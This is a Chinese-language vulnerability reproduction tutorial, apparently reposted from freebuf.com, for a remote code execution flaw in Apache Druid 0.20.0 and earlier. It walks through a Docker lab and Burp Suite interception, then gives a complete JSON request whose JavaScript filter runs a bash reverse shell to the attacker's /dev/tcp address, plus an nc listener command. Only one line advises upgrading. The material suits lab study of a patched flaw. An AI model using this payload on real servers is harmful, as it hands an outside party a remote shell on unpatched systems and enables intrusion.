0x01 漏洞概述
Apache Druid是美国阿帕奇软件(Apache)基金会的一款使用Java语言编写的、面向列的开源分布式数据库。Apache Druid 0.20.0和更早的版本存在访问控制错误漏洞,该漏洞允许经过身份验证的用户强制Druid运行用户提供的JavaScript代码,并执行服务器进程特权的代码。
0x02 影响版本
Apache Druid 0.20.0及更早的版本
0x03 环境搭建
使用docker环境搭建,安装docker后,拉取镜像到本地,拉取命令如下:
docker pull fokkodriesprong/docker-druid
启动镜像
docker run --rm-i-p8888:8888 fokkodriesprong/docker-druid
0x04 漏洞复现
1.启动镜像后,访问http://ip:8888,进入Apache Druid首页,然后点击左上方Load data。
2.点击Local disk
3.在右边填写以下代码
Base directory:quickstart/tutorial/
File filter:wikiticker-2015-09-12-sampled.json.gz
4.点击 Preview
一路点击 Next
直到Filter时,打开Burpsuite Pro进行抓包
5.点击Action->Sent to Reapeter 发送到Repeater模块
替换data数据为
{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-12-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[],"filter":{"type":"javascript","function":"function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >& /dev/tcp/your_ip/6669 0>&1')}",
"dimension":"added",
"":{
"enabled":"true"}
}}}},"samplerConfig":{"numRows":500,"timeoutMs":15000,"cacheKey":"4ddb48fdbad7406084e37a1b80100214"}}
6.直接反弹shell进行测试,在攻击机上使用nc监听,监听命令如下:
nc-lvp6669
7.点击发送,如图所示
8.成功反弹shell到攻击机。
0x05 防护建议
建议将Druid升级到最新版本
目前厂商已发布升级补丁以修复漏洞,补丁获取链接
来源:freebuf.com 2021-06-24 16:58:05 by: 17608406504
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
请登录后发表评论
注册